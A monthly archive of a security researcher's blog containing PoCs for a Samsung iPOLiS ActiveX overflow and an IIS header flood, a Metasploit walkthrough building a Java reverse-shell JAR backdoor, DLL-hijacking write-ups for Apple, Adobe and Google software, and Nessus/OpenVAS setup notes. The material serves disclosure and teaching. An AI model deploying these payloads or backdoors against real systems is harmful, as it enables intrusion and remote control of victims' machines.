Security Unplugged !!!: February 2015

Saturday, February 28, 2015

Samsung iPOLiS 1.12.2 XnsSdkDeviceIpInstaller ActiveX ReadConfigValue Remote Code Execution PoC

Author: Praveen Darshanam
CVE: 2015-0555
Vulnerable File: "C:\Program Files\Samsung\iPOLiS Device Manager\XnsSdkDeviceIpInstaller.ocx"
prototype: "Function ReadConfigValue ( ByVal szKey As String ) As String"
memberName: "ReadConfigValue"
progid/ActiveX: "XNSSDKDEVICELib.XnsSdkDevice"
Operating System: Windows 7 Ultimate N SP1
Vulnerable Software: Samsung iPOLiS 1.12.2

Proof of Concept

<html>
<head> Samsung iPOLiS XnsSdkDeviceIpInstaller ActiveX ReadConfigValue Remote Code Execution PoC </head>
<object classid='clsid:D3B78638-78BA-4587-88FE-0537A0825A72' id='target'> </object>
<script>
var argCount = 1;
var arg1= "";

for (i=0; i<= 4000; i++)
{
 arg1 += "A";
}
target.ReadConfigValue(arg1);

</script>
</html>

Stack Trace
Exception Code: ACCESS_VIOLATION
Disasm: 6492CE MOV AL,[EDI+EDX]

Seh Chain:
--------------------------------------------------
1 41414141

Called From Returns To
--------------------------------------------------
XNSSDKDEVICE.6492CE 41414141
41414141 8ABAB41
8ABAB41 mfc100.64BA90C1
mfc100.64BA90C1 3D39D016
FFFFFFFE mfc100.64AFBE5C

Registers:
--------------------------------------------------
EIP 006492CE
EAX 00000408
EBX 01AD9FB0 -> 0065A564
ECX 00000414
EDX 08ABAB41
EDI 0000009C
ESI 0000009C
EBP 002DEA9C -> Asc: AAAAAAAAA
ESP 002DE7F4 -> 59D56B19 -> Asc: k k

Block Disassembly:
--------------------------------------------------
6492BD MOV ECX,EAX
6492BF XOR ESI,ESI
6492C1 MOV [EBP-298],ECX
6492C7 TEST ECX,ECX
6492C9 JLE SHORT 00649340
6492CB MOV EDX,[EBP+8]
6492CE MOV AL,[EDI+EDX] <--- crash="" p="">6492D1 CMP AL,2F
6492D3 JNZ SHORT 00649333
6492D5 TEST EDI,EDI
6492D7 JNZ SHORT 00649304
6492D9 PUSH 80
6492DE LEA EAX,[EBP-90]
6492E4 PUSH EDI
6492E5 PUSH EAX

ArgDump:
--------------------------------------------------
EBP+8 08ABAB41
EBP+12 64BA90C1 -> EBE84589
EBP+16 3D39D016
EBP+20 FFFFFFFE
EBP+24 64AFBE5C -> CCCCCCC3
EBP+28 00000018

Stack Dump:
--------------------------------------------------
2DE7F4 19 6B D5 59 08 00 00 00 A0 EA 2D 00 10 92 64 00 [.k.Y..........d.]
2DE804 14 04 00 00 64 65 C4 64 00 00 00 00 00 00 00 00 [....de.d........]
2DE814 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [................]
2DE824 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [................]
2DE834 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [................]

Exception Code: ACCESS_VIOLATION
Disasm: 41414141 ?????

Seh Chain:
--------------------------------------------------
1 41414141

Called From Returns To
--------------------------------------------------
ntdll.77B670B4 ntdll.77BDAB1A
ntdll.77BDAB1A ntdll.77BB0404
ntdll.77BB0404 ntdll.77B3F956
ntdll.77B3F956 ntdll.77B67017
ntdll.77B67017 41414141
41414141 8ABAB41
8ABAB41 mfc100.64BA90C1
mfc100.64BA90C1 3D39D016
FFFFFFFE mfc100.64AFBE5C

Registers:
--------------------------------------------------
EIP 77B670B4 -> C0000005
EAX 002DE0EC -> C0000005
EBX 41414141
ECX 41414141
EDX 00000000
EDI 00000000
ESI 002DE0EC -> C0000005
EBP 002DE0D8 -> 002DE40C
ESP 002DE088 -> 77B662A4

Block Disassembly:
--------------------------------------------------
77B6709C MOV [ESP+8],EBX
77B670A0 JMP 77B837AD
77B670A5 LEA ESP,[ESP]
77B670AC LEA ESP,[ESP]
77B670B0 MOV EDX,ESP
77B670B2 SYSENTER
77B670B4 RETN <--- crash="" p="">77B670B5 LEA ESP,[ESP]
77B670BC LEA ESP,[ESP]
77B670C0 LEA EDX,[ESP+8]
77B670C4 INT 2E
77B670C6 RETN
77B670C7 NOP
77B670C8 PUSH EBP
77B670C9 MOV EBP,ESP

ArgDump:
--------------------------------------------------
EBP+8 002DE0EC -> C0000005
EBP+12 002DE13C -> 00000000
EBP+16 00000000
EBP+20 C0000005
EBP+24 00000001
EBP+28 00000000

P.S. CERT tried to coordinate but there wasn't any response from Samsung

CVE-2010-2730: Microsoft IIS Request Header Buffer Overflow Vulnerability

Writing Proof of Concept based on information available on various sites.
Checkpoint details the Vulnerability as

"The vulnerability is due to a heap buffer overflow error when processing unexpected number of headers in an HTTP request. A remote unauthenticated attacker can exploit this vulnerability by sending a maliciously crafted HTTP request to a target server. Successful exploitation would allow an attacker to inject and execute arbitrary code on the target system with the security privileges of the IIS Worker process."

Configuring FastCGI for IIS 7.5
Browse to
Control Panel -> Programs and Features
click "Turn Windows features on or off" and follow the path shown below.
Note: I also tried enabling only CGI and un checking all the other checkboxes given below.

Install Administrator pack for IIS 7.5 after installing the pack click on start and type IIS you will see Internet Information Services (IIS Manager), clicking on it will take you to below window.

Configure FastCGI as shown below

If you feel configuration didn'g go fine you can configure and verify the same using CLI.
appcmd.exe is found at
%windir%\system32\inetsrv\

If FastCGI installation is successful accessing
http://localhost/phpinfo.cgi
should show below page. I created the page phpinfo.php under
C:\Inetpub\wwwroot\
make sure the directory has proper permissions.

Proof of Concept

#!/usr/bin/python

import os, sys
import urllib2

def main(all_args):
    print "in main"
    if len(all_args) != 3:
        print "invalid args"
        print "usage:\n\t%s server_ip_addr http_port"%(all_args[0])
        sys.exit();
    headers = {"Host":all_args[1],
                "Accept": "text/html,application/xhtml+xml,application/xml",
                "Accept-Language": "en-us",
                "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7",
                "Keep-Alive": "115",
                "Connection": "keep-alive"}

    for k,v in headers.items():
        print (k, v)

    #create junk headers
    print "Creating junk Request Headers"
    for i in range(1,400):
        junk_header = "My-Name" + str(i)
        value = "Praveen Darshanam" + str(i)
        headers.update({junk_header: value})

    url = "http://" + all_args[1] + ":" + all_args[2] + "/phpinfo.php"
    #url = "http://" + all_args[1] + "/info.php"
    print "url: " + url
    #data = "From Praveen Darshanam"
    #req = urllib2.Request(url, data, headers)
    req = urllib2.Request(url, None, headers)
    response = urllib2.urlopen(req)
    print "Response Length =" + str(len(response.read()))

if __name__ == "__main__":
    print "sys.argv=" + str(sys.argv)
    main(sys.argv)

Usage
./IIS7.5_Multiple_Headers_DoS_CVE-2010-2730.py server_ip_addr http_port
praveend@praveend-VirtualBox:~$
$ ./IIS7.5_Multiple_Headers_DoS_CVE-2010-2730.py 192.168.56.110 80
sys.argv=['./IIS7.5_Multiple_Headers_DoS_CVE-2010-2730.py', '192.168.56.110', '80']
in main
('Accept-Language', 'en-us')
('Connection', 'keep-alive')
('Accept', 'text/html,application/xhtml+xml,application/xml')
('Keep-Alive', '115')
('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
('Host', '192.168.56.110')
Creating junk Request Headers
url: http://192.168.56.110:80/phpinfo.php
Response Length =119639

Exploit Traffic

I didn't see any crash after sending multiple fake headers, not sure if I interpreted the Vulnerability in correct manner.

References
https://technet.microsoft.com/en-us/library/dd239230(v=ws.10).aspx
http://www.iis.net/configreference/system.webserver/fastcgi
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-2730
http://www.checkpoint.com/defense/advisories/public/2013/cpai-03-dec2.html
http://www.juniper.net/security/auto/vulnerabilities/vuln4476.html
https://technet.microsoft.com/library/security/ms10-065

Sunday, February 22, 2015

Java Malware: Java Decompilers for JAR Malware Analysis

Krakatau comes with three tools, an assembler, disassembler and a decompiler.
From the author of Krakatau, Robert Grosse
" The Krakatau decompiler takes a different approach to most Java decompilers.
It can be thought of more as a compiler whose input language is Java bytecode
and whose target language happens to be Java source code. Krakatau takes in
arbitrary bytecode, and attempts to transform it to equivalent Java code. This
makes it robust to minor obfuscation, though it has the drawback of not
reconstructing the "original" source, leading to less readable output than a
pattern matching decompiler would produce for unobfuscated Java classes."

decompile.py can extract class files from a .jar file and decompiles the extracted .class file to Java code (.java). Below command decompiles .class file to .java file and places the file in praveendecompile directory.
$ python decompile.py -path . hello.class -out praveendecompile/

Dissecting the command
$ python decompile.py -out temp_praveen/ 2f8d204b747ed971a8bc8927b2e0898c.jar
-out output directory
-path path to core language classes, directories etc
-skip continue upon errors

$ python decompile.py -out temp_praveen/ 2f8d204b747ed971a8bc8927b2e0898c.jar
Krakatau Copyright (C) 2012-14 Robert Grosse
This program is provided as open source under the GNU General Public License.
See LICENSE.TXT for more details.
Attempting to automatically locate the standard library...
Found at /usr/lib/jvm/java-1.7.0-openjdk-i386/jre/lib/rt.jar
processing target plugins/Server, 2 remaining
Loading plugins/Server
Loading java/lang/Object
Loading java/lang/Throwable
Loading java/io/Serializable
Loading java/lang/IllegalMonitorStateException
Loading java/lang/RuntimeException
Loading java/lang/Exception
Decompiling method ()V
Decompiling method onLine ()V
Decompiling method offLine ()V
Decompiling method getId ()Ljava/lang/String;
Class written to /home/praveend/javadecompilers/Krakatau/temp_praveen/plugins/Server.java
0.369355201721 seconds elapsed
processing target Main, 1 remaining
Loading Main
Loading java/lang/ClassLoader
Loading java/io/InputStream
Loading java/io/Closeable
Loading java/lang/AutoCloseable
Loading java/io/ByteArrayInputStream
Loading java/io/PrintStream
Loading java/io/FilterOutputStream
Loading java/io/OutputStream
Loading java/io/Flushable
Loading java/lang/Appendable
Loading java/lang/String
Loading java/lang/Comparable
Loading java/lang/CharSequence
Loading java/util/jar/JarInputStream
Loading java/util/zip/ZipInputStream
Loading java/util/zip/InflaterInputStream
Loading java/io/FilterInputStream
Loading java/util/zip/ZipConstants
Loading java/lang/OutOfMemoryError
Loading java/lang/VirtualMachineError
Loading java/lang/Error
Decompiling method iiIiiiiiii ([BLjava/lang/String;)Ljava/util/jar/JarInputStream;
Loading java/util/HashMap
Loading java/util/AbstractMap
Loading java/util/Map
Loading java/lang/Cloneable
Loading java/lang/ClassCastException
Loading java/lang/NullPointerException
Decompiling method getResourceAsStream (Ljava/lang/String;)Ljava/io/InputStream;
Loading java/util/jar/JarEntry
Loading java/util/zip/ZipEntry
Decompiling method ALLATORIxDEMOxapqldkjnfkqieurqoewqeqwdasdascasdasd (Ljava/util/jar/JarEntry;)Ljava/lang/String;
Loading java/lang/ClassNotFoundException
Loading java/lang/ReflectiveOperationException
Loading java/lang/Class
Loading java/lang/reflect/GenericDeclaration
Loading java/lang/reflect/Type
Loading java/lang/reflect/AnnotatedElement
Decompiling method findClass (Ljava/lang/String;)Ljava/lang/Class;
Decompiling method iiIiiiiiii (Ljava/util/jar/JarInputStream;)V
Loading java/io/ByteArrayOutputStream
Decompiling method ()V
Decompiling method ALLATORIxDEMOxapqldkjnfkqieurqoewqeqwdasdascasdasd (Ljava/util/jar/JarInputStream;)Ljava/util/jar/JarEntry;
Decompiling method iiIiiiiiii ()V
Loading java/lang/StackTraceElement
Loading java/lang/StringBuffer
Loading java/lang/AbstractStringBuilder
Loading java/lang/ArrayIndexOutOfBoundsException
Loading java/lang/IndexOutOfBoundsException
Loading java/lang/NegativeArraySizeException
Decompiling method ALLATORIxDEMOxapqldkjnfkqieurqoewqeqwdasdascasdasd (Ljava/lang/String;)Ljava/lang/String;
Loading java/lang/reflect/Method
Loading java/lang/reflect/AccessibleObject
Loading java/lang/reflect/Member
Decompiling method main ([Ljava/lang/String;)V
Decompiling method ALLATORIxDEMOxapqldkjnfkqieurqoewqeqwdasdascasdasd (Ljava/lang/String;[B)Ljava/lang/Class;
Decompiling method ALLATORIxDEMOxapqldkjnfkqieurqoewqeqwdasdascasdasd ()Ljava/io/InputStream;
Loading java/io/Reader
Loading java/lang/Readable
Loading java/io/InputStreamReader
Loading java/io/BufferedReader
Decompiling method ALLATORIxDEMOxapqldkjnfkqieurqoewqeqwdasdascasdasd (Ljava/io/InputStream;)Ljava/lang/String;
Decompiling method ALLATORIxDEMOxapqldkjnfkqieurqoewqeqwdasdascasdasd (Ljava/io/ByteArrayOutputStream;)[B
Decompiling method loadClass (Ljava/lang/String;)Ljava/lang/Class;
Loading java/lang/StringBuilder
Decompiling method ALLATORIxDEMOxapqldkjnfkqieurqoewqeqwdasdascasdasd ([BLjava/lang/String;)[B
Class written to /home/praveend/javadecompilers/Krakatau/temp_praveen/Main.java
15.0299580097 seconds elapsed
*********************************************************
Highlighted the importand parts of the decompilation

Above decompilation creates couple of files under temp_praveen directory
praveend@praveend-VirtualBox:~/javadecompilers/Krakatau/temp_praveen$
$ ls -R
Main.java plugins
./plugins:
Server.java

Rename 2f8d204b747ed971a8bc8927b2e0898c.jar to 2f8d204b747ed971a8bc8927b2e0898c.zip and unzip the zip file (unzip on .jar file might work, did not try though)

praveend@praveend-VirtualBox:~/javadecompilers/Krakatau$

$ unzip 2f8d204b747ed971a8bc8927b2e0898c.zip

Archive: 2f8d204b747ed971a8bc8927b2e0898c.zip

inflating: META-INF/MANIFEST.MF

inflating: MANIFEST.MF

inflating: ID

inflating: plugins/Server.class

inflating: Main.class

praveend@praveend-VirtualBox:~/javadecompilers/Krakatau$

disassemble.py takes class or jar file as input and converts it to assembly language format and the output can be reassembled. The ouput is saved into .j file. If jar file is input it disassembles all the class files part of jar into .j files.
python disassemble.py Main.class

$ python ../disassemble.py Main.class
processing target Main.class, 1/1 remaining
Class written to /home/praveend/javadecompilers/Krakatau/unzipped_malware/Main.j
0.280933856964 seconds elapsed

javap binary is included with the JDK installation. javap can be used to see the bytecode of a class

$javap -c Main.class

assemble.py is used to convert byte code(.j) to class file. JVM class file format
python assemble.py Main.j

$ python ../../assemble.py Server.j
Processing file Server.j, 1/1 remaining
Class written to /home/praveend/javadecompilers/Krakatau/unzipped_malware/plugins/Server.class

Java malware might use different obfuscation techniques to make it difficult for Malware Analyst and detection devices.Errors encountered while decompilation might need to be fixed manually.

http://research.zscaler.com/2013/08/malicious-jar-files-hosted-on-google.html
http://stackoverflow.com/questions/27340147/how-to-decompile-class-and-jar-file-using-storyyeller-krakatau
https://github.com/Storyyeller/Krakatau/blob/master/README.TXT
https://raw.githubusercontent.com/Storyyeller/Krakatau/master/Documentation/assembler.txt

Saturday, February 21, 2015

Compromising machines running Linux using Metasploit JAR Backdoors

We can compromise Windows machine using malicious EXE file acting as a backdoor generated using Metasploit. Machines running Linux can be compromised using jar backdoors.

Creating jar backdoor file using Metasploit msfpayload to hack Linux box
root@kali-praveend-attacker:~# msfpayload java/meterpreter/reverse_tcp LHOST=1.1.1.32 LPORT=8888 R > compromise.jar
[!] ************************************************************************
[!] * The utility msfpayload is deprecated! *
[!] * It will be removed on or about 2015-06-08 *
[!] * Please use msfvenom instead *
[!] * Details: https://github.com/rapid7/metasploit-framework/pull/4333 *
[!] ************************************************************************

Execute the jar file created above on Linux box
praveen@victim:/tmp$ sudo java -jar compromise.jar

On Kali Execute below commands so that victim will connect back to the attacker when victim executes JAR backdoor
msf > use exploit/multi/handler
msf exploit(handler) > set payload java/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 1.1.1.32
LHOST => 1.1.1.32
msf exploit(handler) > set LPORT 8888
LPORT => 8888
msf exploit(handler) > exploit
msf exploit(handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (java/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 1.1.1.32 yes The listen address
LPORT 8888 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf exploit(handler) > exploit
[*] Started reverse handler on 1.1.1.32:8888
[*] Starting the payload handler...
[*] Sending stage (30355 bytes) to 1.1.1.40
[*] Meterpreter session 1 opened (1.1.1.32:8888 -> 1.1.1.40:33457) at 2015-02-15 17:49:04 -0500

Post exploitation commands
meterpreter > sysinfo
Computer : victim
OS : Linux 3.13.0-32-generic (amd64)
Meterpreter : java/java
meterpreter > pwd
/tmp

Creating jar file from class file.
root@kali-ucs:~/rmx_remote# jar cvf compromise.jar EvilMBean.class
added manifest
adding: EvilMBean.class(in = 172) (out= 134)(deflated 22%)

Saturday, February 14, 2015

Apple QuickTimePlayer Insecure DLL Loading Code Execution

By default QuickTimePlayer installation does't come with CoreFoundation.dll but QT Player tries to load the DLL when started.

Create any malicious DLL and rename it to CoreFoundation.dll, copy to C:\Program Files (x86)\QuickTime\

After copying the DLL if we start QuickTimePlayer we will execute the code part of malicious DLL leading to DLL Injection.

Location: C:\Program Files (x86)\QuickTime\CoreFoundation.dll
Application: QuickTime 7.7.2
OS: Windows 7 Ultimate N SP1

Apples response
After examining your report we do not see any actual security implications.
Writing a file to the C:\Program Files (x86)\QuickTime directory requires local
administrative privileges.

Apple iTunes Insecure DLL Loading Code Execution

By default iTunes installation does't come with dwmapi.dll but iTunes tries to load the DLL when started.

Create any malicious DLL and rename it to dwmapi.dll, copy to C:\Program Files (x86)\iTunes\

After copying the DLL if we start iTunes will execute the code part of malicious DLL leading to DLL Injection.

Location: C:\Program Files (x86)\iTunes\dwmapi.dll
Application:iTunes 12.0.1.26
OS: Windows 7 Ultimate N SP1

Apples response
After examining your report we do not see any actual security implications.
Writing a file to the C:\Program Files (x86)\iTunes directory requires local
administrative privileges.

Acrobat Reader Insecure DLL Loading Code Execution

Rename any malicious DLL to
C:\Program Files\Adobe\Reader 11.0\Reader\ntmarta.dll
which will be loaded by Adobe Acrobat Reader.

PoC Code part of ntmarta.dll

#include <windows.h>
BOOL WINAPI DllMain (
            HANDLE    hinstDLL,
            DWORD     fdwReason,
            LPVOID    lpvReserved)
{
  MessageBox(NULL, L"DLL Injection by Disects!", L"Developed by Praveen Darshanam",
             MB_ICONWARNING|MB_CANCELTRYCONTINUE|MB_DEFBUTTON2);
}

Compile the above code into a Dynamic Loadable Library (DLL).

Tested on
Acrobat Reader 11.0.10
Windows 7 Ultimate N SP1

Refer
http://blog.disects.com/2014/08/dll-injection-executing-and-testing-dlls.html
http://blog.disects.com/2015/02/google-chrome-insecure-dll-loading-code.html

Google Chrome Insecure DLL Loading Code Execution

Google Chrome tries to load cryptbase.dll by default from
C:\Program Files\Google\Chrome\Application\ but the dll is not part of the installation.
Chrome fails with DLL Not Found error.

If we copy any malicious DLL renamed as cryptbase.dll to C:\Program Files\Google\Chrome\Application\
Chrome will load and execute the DLL controlled by malicious user.

The source code which I used for building the DLL is at
http://blog.disects.com/2014/08/dll-injection-executing-and-testing-dlls.html

Tested on
Chrome 39.0.2171.95m (latest is also vulnerable)
Windows 7 Ultimate N SP1

Reported to Google but they didn't consider it stating as Local exploit.

Counter Terrorism: Every Revolver with an IP Address

Crazy Idea or a Fantasy!

There are many terrorist attacks, terrorist groups across the world , below proposal might be one of the was to counter terrorism.

With the onset of huge data centers there is no dearth for storage and unlike IPv4, IPv6 can be used to assign IP address to any device on planet earth.
From ipv6.com
"IPv6 provides nearly 600 quadrillion addresses for every square millimeter
on earth. That's 6x1023 addresses for every square meter of the earth's surface."

Internet of Things, what wiki says about IoT
"The Internet of Things (IoT) is the interconnection of uniquely identifiable
embedded computing devices within the existing Internet infrastructure.
Typically, IoT is expected to offer advanced connectivity of devices, systems
and services that goes beyond machine-to-machine communications (M2M)
and covers a variety of protocols, domains, and applications."

Requirement
IP Address and Camera

Why should a citizen of any country maintain secrecy of holding licensed Revolver.

Detection
Now a days every phone/tab has two cameras, say, front Camera and back camera.
Lets apply same concept for gun/revolver, whenever someone fires a bullet it should take photograph of person who fired the bullet and the target where bullet was fired at. Upload the taken photographs immediately to the Data Center.

Apart from Photographs we can save other information like
Make/model of Gun/Revolver
Make/model of the Bullet
Location

If someone tried to modify the firmware on the Gun, it should send an Event to Data Center, so wa know something malicious is happening.

Why will terrorist buy a gun with Camera?
Nation states/Governments should make it mandatory for every Gun/Revolver manufacturer should have an inbuilt Camera and an IP Address.

Evasion
Terrorist wearing a mask.
Covering the Camera slot with opaque stuff.

Limitations
No Internet, no signal.
Covering Camera
Tampering

Assumptions
Vendor cooperation
No illegal selling and vendor is accountable

Fantasy!!!

Sunday, February 8, 2015

Vulnerability Scanning using Nessus

Nessus is a vulnerability Scanner developed by Tenable Network Security.

After downloading nessus, it can be installed using below command
#dpkg -i nessus_package_name.deb

Start nessus using below command
#/etc/init.d/nessusd start

You can access nessus on TCP port 8834 using localhost or hostname in the place of ip address, say localhost:8834. Login to nessus using the credentials you configured while installation.

After successful logging, you will see below screen.

To start Assessment click on Scans on top of the window, which will show you below screen.

Select the scan which interests you, will take you to below page where you need to configure IP Address, on your left you can customize Reporting info, Scan info etc. Don't click on save if you are not done with customization, once you click save Nessus will start the Assessment you have selected, in my case it was "Basic Network Scan".

To create custom policy we can click on Policies tab on top of the page.

To configure credentials for SMB, SSH, FTP, HTTP etc you can click on Policies on top of the page once you successfully login, then click on Credentials.

Thursday, February 5, 2015

Kali: Configure and Fix OpenVAS issues, start Vulnerability Scanning

OpenVAS is a tool used for Vulnerability Scanning, it comes pre-installed on Kali/Backtrack OS but need to configure to make it working.

root@kali-praveend:~# openvas-check-setup
........
........
        OK: At least one admin user exists.
        WARNING: Your password policy is empty.
        SUGGEST: Edit the /etc/openvas/pwpolicy.conf file to set a password policy.
Step 4: Checking Greenbone Security Assistant (GSA) ...
        OK: Greenbone Security Assistant is present in version 4.0.0.
Step 5: Checking OpenVAS CLI ...
        OK: OpenVAS CLI version 1.2.0.
Step 6: Checking Greenbone Security Desktop (GSD) ...
        OK: Greenbone Security Desktop is present in Version 1.2.2.
Step 7: Checking if OpenVAS services are up and running ...
        OK: netstat found, extended checks of the OpenVAS services enabled.
        ERROR: OpenVAS Scanner is NOT running!
        FIX: Start OpenVAS Scanner (openvassd).
        ERROR: OpenVAS Manager is NOT running!
        FIX: Start OpenVAS Manager (openvasmd).
        ERROR: OpenVAS Administrator is NOT running!
        FIX: Start OpenVAS Administrator (openvasad).
        ERROR: Greenbone Security Assistant is NOT running!
        FIX: Start Greenbone Security Assistant (gsad).
ERROR: Your OpenVAS-6 installation is not yet complete!
Please follow the instructions marked with FIX above and run this
script again.

Start OpenVAS Scanner
#/etc/init.d/openvas-scanner start

Start OpenVAS Manager
#openvasmd --rebuild take around 10 minutes, you can execute below command
#openvasmd

Start OpenVAS Administrator
#openvasad -c add_user -n praveend --role=Admin
if the username is already created just execute openvasad

Start Greenbone Security Assistant
#gsad

Once the configuration is done execute
root@kali-praveend:~# openvas-check-setup
........
........
Step 5: Checking OpenVAS CLI ...
        OK: OpenVAS CLI version 1.2.0.
Step 6: Checking Greenbone Security Desktop (GSD) ...
        OK: Greenbone Security Desktop is present in Version 1.2.2.
Step 7: Checking if OpenVAS services are up and running ...
        OK: netstat found, extended checks of the OpenVAS services enabled.
        OK: OpenVAS Scanner is running and listening only on the local interface.
        OK: OpenVAS Scanner is listening on port 9391, which is the default port.
        OK: OpenVAS Manager is running and listening on all interfaces.
        OK: OpenVAS Manager is listening on port 9390, which is the default port.
        OK: OpenVAS Administrator is running and listening on all interfaces.
        OK: OpenVAS Administrator is listening on port 9393, which is the default port.
        OK: Greenbone Security Assistant is running and listening on all interfaces.
        OK: Greenbone Security Assistant is listening on port 443, which is the default port.
Step 8: Checking nmap installation ...
        WARNING: Your version of nmap is not fully supported: 6.47
        SUGGEST: You should install nmap 5.51.
Step 9: Checking presence of optional tools ...
        OK: pdflatex found.
        OK: PDF generation successful. The PDF report format is likely to work.
        OK: ssh-keygen found, LSC credential generation for GNU/Linux targets is likely to work.
        OK: rpm found, LSC credential package generation for RPM based targets is likely to work.
        OK: alien found, LSC credential package generation for DEB based targets is likely to work.
        OK: nsis found, LSC credential package generation for Microsoft Windows targets is likely to work.
It seems like your OpenVAS-6 installation is OK.

Start OpenVAS Greenbone Security Desktop (GSD)

Once we click on openvas-gsd, we get a window where we need to enter login credentials and localhost in the place of IP address.

After successful login to GSD we get below Window where we need to configure Targets, Tasks etc.

To start Vulnerability Assessment we need to configure Targets, Tasks etc., tabs on the lower part of the above window.

Click on Extras->Start Greenbone Security Assistant. Will open URL in browser connecting to 127.0.0.1:443

Once the Vulnerability Scanning is done, we can download Report in supported format (PDF, HTML etc).